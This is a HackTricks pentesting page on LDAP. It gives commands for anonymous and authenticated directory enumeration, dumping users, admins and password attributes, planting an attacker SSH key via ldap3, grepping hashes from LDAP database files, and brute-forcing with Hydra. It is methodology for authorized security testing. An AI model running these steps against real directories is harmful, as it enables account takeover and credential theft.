hacktricks/network-services-pentesting/pentesting-ldap.md

# 389, 636, 3268, 3269 - Pentesting LDAP

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## Basic Information

Extracted from: [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP)

LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to **locate** organizations, individuals, and other **resources** such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).

An LDAP directory can be **distributed** among many servers. Each server can have a **replicated** version of the total directory that is **synchronized** periodically. An LDAP server is called a Directory System Agent (DSA). An LDAP server that receives a request from a user takes responsibility for the request, passing it to other DSAs as necessary, but ensuring a single coordinated response for the user.

An LDAP directory is organized in a simple "tree" hierarchy consisting of the following levels:

* The root directory (the starting place or the source of the tree), which branches out to
* Countries, each of which branches out to
* Organizations, which branch out to
* Organizational units (divisions, departments, and so forth), which branches out to (includes an entry for)
* Individuals (which includes people, files, and shared resources such as printers)

**Default port:** 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS.

```
PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped
```

### LDAP Data Interchange Format

LDIF (LDAP Data Interchange Format) defines the directory content as a set of records. It can also represent update requests (Add, Modify, Delete, Rename).

```bash
dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```

* Lines 1-3 define the top level domain local
* Lines 5-8 define the first level domain moneycorp (moneycorp.local)
* Lines 10-16 define 2 organizational units: dev and sales
* Lines 18-26 create an object of the domain and assign attributes with values

## Write data

Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you **can change the "sshPublicKey" information** of your user or any user. It's highly probable that if this attribute exist, then **ssh is reading the public keys from LDAP**. If you can modify the public key of a user you **will be able to login as that user even if password authentication is not enabled in ssh**.

```bash
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```

Example taken from: [https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/](https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/)

## Sniff clear text credentials

If LDAP is used without SSL you can **sniff credentials in plain text** in the network.

Also, you can perform a **MITM** attack in the network **between the LDAP server and the client.** Here you can make a **Downgrade Attack** so the client with use the **credentials in clear text** to login.

**If SSL is used** you can try to make **MITM** like the mentioned above but offering a **false certificate**, if the **user accepts it**, you are able to Downgrade the authentication method and see the credentials again.

## Anonymous Access

### Bypass TLS SNI check

According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:

```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```

### LDAP anonymous binds

[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow **unauthenticated attackers** to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a **legacy configuration**, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests. \
However, admins may have needed to **set up a particular application to allow anonymous binds** and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD.

## Valid Credentials

If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:

[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)

```bash
pip3 install ldapdomaindump 
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
```

### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap)

## Enumeration

### Automated

Using this you will be able to see the **public information** (like the domain name)**:**

```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```

### Python

<details>

<summary>See LDAP enumeration with python</summary>

You can try to **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3`

First try to **connect without** credentials:

```bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
```

If the response is `True` like in the previous example, you can obtain some **interesting data** of the LDAP (like the **naming context** or **domain name**) server from:

```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts: 
dc=DOMAIN,dc=DOMAIN
```

Once you have the naming context you can make some more exciting queries. This simply query should show you all the objects in the directory:

```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```

Or **dump** the whole ldap:

```bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
```

</details>

### windapsearch

[**Windapsearch**](https://github.com/ropnop/windapsearch) **** is a Python script useful to **enumerate users, groups, and computers from a Windows** domain by utilizing LDAP queries.

```bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
```

### ldapsearch

Check null credentials or if your credentials are valid:

```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```

```bash
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v3839
```

If you find something saying that the "_bind must be completed_" means that the credentials arr incorrect.

You can extract **everything from a domain** using:

```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```

Extract **users**:

```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```

Extract **computers**:

```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```

Extract **my info**:

```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```

Extract **Domain Admins**:

```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```

Extract **Domain Users**:

```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```

Extract **Enterprise Admins**:

```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```

Extract **Administrators**:

```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```

Extract **Remote Desktop Group**:

```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```

To see if you have access to any password you can use grep after executing one of the queries:

```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```

Please, notice that the passwords that you can find here could not be the real ones...

#### pbis

You can download **pbis** from here: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) and it's usually installed in `/opt/pbis`.\
**Pbis** allow you to get basic information easily:

```bash
#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
    echo "$line";
    ./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
    echo "======================"
done
```

## Graphical Interface

### Apache Directory

[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).

### jxplorer

You can download a graphical interface with LDAP server here: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)

By default is is installed in: _/opt/jxplorer_

![](<../.gitbook/assets/image (22) (1).png>)

## Authentication via kerberos

Using `ldapsearch` you can **authenticate** against **kerberos instead** of via **NTLM** by using the parameter `-Y GSSAPI`

## POST

If you can access the files where the databases are contained (could be in _/var/lib/ldap_). You can extract the hashes using:

```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```

You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural').

### Configuration Files

* General
  * containers.ldif
  * ldap.cfg
  * ldap.conf
  * ldap.xml
  * ldap-config.xml
  * ldap-realm.xml
  * slapd.conf
* IBM SecureWay V3 server
  * V3.sas.oc
* Microsoft Active Directory server
  * msadClassesAttrs.ldif
* Netscape Directory Server 4
  * nsslapd.sas\_at.conf
  * nsslapd.sas\_oc.conf
* OpenLDAP directory server
  * slapd.sas\_at.conf
  * slapd.sas\_oc.conf
* Sun ONE Directory Server 5.1
  * 75sas.ldif

## HackTricks Automatic Commands

```
Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for LDAP
  Note: |
    LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).

    https://book.hacktricks.xyz/pentesting/pentesting-ldap

Entry_2:
  Name: Banner Grab
  Description: Grab LDAP Banner
  Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
  Name: LdapSearch
  Description: Base LdapSearch
  Command: ldapsearch -H ldap://{IP} -x

Entry_4:
  Name: LdapSearch Naming Context Dump
  Description: Attempt to get LDAP Naming Context
  Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
  Name: LdapSearch Big Dump
  Description: Need Naming Context to do big dump
  Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
  Name: Hydra Brute Force
  Description: Need User
  Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
```

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